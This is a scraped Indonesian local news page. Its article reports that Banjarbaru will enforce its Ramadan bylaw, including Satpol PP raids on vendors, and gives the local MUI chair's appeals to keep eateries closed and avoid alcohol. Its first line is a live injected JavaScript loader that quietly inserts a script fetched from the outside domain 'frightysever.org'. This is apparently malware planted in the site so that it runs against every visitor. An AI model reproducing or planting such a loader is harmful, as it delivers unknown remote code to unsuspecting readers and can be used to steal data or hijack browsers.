(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Sekda Banjarbaru: Perda Ramadhan akan Diberlakukan


KANALKALIMANTAN.COM, BANJARBARU – Menghitung hari memasuki bulan Suci Ramadhan, masyarakat Kota Banjarbaru diimbau mengisi waktu puasa dengan hal-hal yang bermanfaat.

Selain itu, bagi warung makan dan minum diimbau tidak buka saat orang lagi menjalankan ibadah puasa.

Hal ini disampaikan Ketua Majelis Ulama Indonesia (MUI) Kota Banjarbaru KH Nursahid Ramli LC dalam menyambut bulan Suci Ramadhan seyogyanya melaksanakan perintah Allah, baik yang sifatnya fardhu ataupun sunah dan menjauhi segala larangan-Nya dengan memperbanyak ibadah pada bulan tersebut.

“Kemudian bagi yang membuka warung, saya inginkan jangan ada membuka warung atau restoran saat bulan Ramadhan,” katanya.

 

Baca juga: Antre Berjam-jam Demi Beras 5 Kg Harga 45 Ribu Rupiah di Banjarmasin

Disamping itu, kepada warga terutama bagi anak-anak agar mengisi bulan puasa ini dengan hal-hal yang bermanfaat, serta menjauhkan diri dari hal-hal yang menjadi mudharat.

“Berikutnya remaja kita, tidak menghabiskan waktu di tepi jalan. Mereka juga ikut tarawih, mengerjakan ibadah pada bulan Ramadhan,” ujarnya.

Dirinya juga berharap pada bulan Ramadhan ini, agar menjauhkan diri dari perbuatan maksiat seperti minum-minuman beralkohol.

“Mudah-mudahan masyarakat kita jangan ada yang berminat membeli dan menjauh miras itu, karena akan merusak akal,” imbaunya.

Sementara itu, Sekda Kota Banjarbaru Said Abdullah mengatakan pada bulan puasa ini Pemko Banjarbaru tetap memberlakukan Perda Ramadhan dengan beberapa larangan yang harus dipatuhi, seperti berjualan di tempat umum. Guna menghormati masyarakat yang berpuasa di bulan Ramadhan.

Baca juga: 95 % Warga HSU Terlayani Program JKN-KIS, Pemkab HSU Terima Penghargaan dari Wapres 

“Tetap kita berlakukan Perda Ramadhan,” ujarnya.

Menjelang Ramadhan, Pemko Banjarbaru akan mengeluarkan surat edaran resmi dan tentunya akan terus diawasi dari Satpol PP Banjarbaru.

“Tetap (razia) akan dilaksanakan Satpol PP,” tegasnya.

Lebih jauh, dikatakannya untuk pelaksanaan pada bulan Ramadhan, Said mengatakan khususnya untuk tarawih hanya menyesuaikan apakah orang itu terbiasa pakai masker atau tidak pakai.

“Menyesuaikan, pakai masker boleh atau tidak juga boleh,” tuntasnya.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Safari Jum’at Pj Bupati Kapuas di Masjid Baiturrahman Tamban Catur

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi melakukan Safari Jum’at di Masjid… Read More

52 menit ago

Aeris Hotel Banjarbaru Diberi SP 1, SLF dan Andalalin Belum Lengkap

KANALKALIMANTAN.COM, BANJARBARU – Tak miliki izin operasional, Hotel Aeris di Jalan Panglima Batur mendapat Surat… Read More

1 jam ago

Izin Operasional Aeris Hotel Belum Ada, Disporabudpar Banjarbaru Dapati Tamu Nginap

Manajemen Aeris Hotel: Masih Promosi, Ini untuk Mengetahui Dimana Error-nya Layanan Kita Read More

6 jam ago

Jaya Dekati PAN, Upaya Mengulang Koalisi di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Amanat Nasional (PAN) Kota Banjarbaru kedatangan Darmawan Jaya Setiawan, kader… Read More

16 jam ago

Lima Rumah Terbakar di Pekapuran Laut, Motor Matic Ikut Hangus

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Pekapuran B Laut, Kecamatan Banjarmasin Tengah, Kota Banjarmasin dibuat geger… Read More

17 jam ago

Naik Kano di Danau Seran Banjarbaru, Rekomendasi View Spot Foto Estetik

KANALKALIMANTAN.COM, BANJARBARU - Pencinta wisata alam wajib menjajal objek wisata satu ini, yaitu wahana kano… Read More

20 jam ago

This website uses cookies.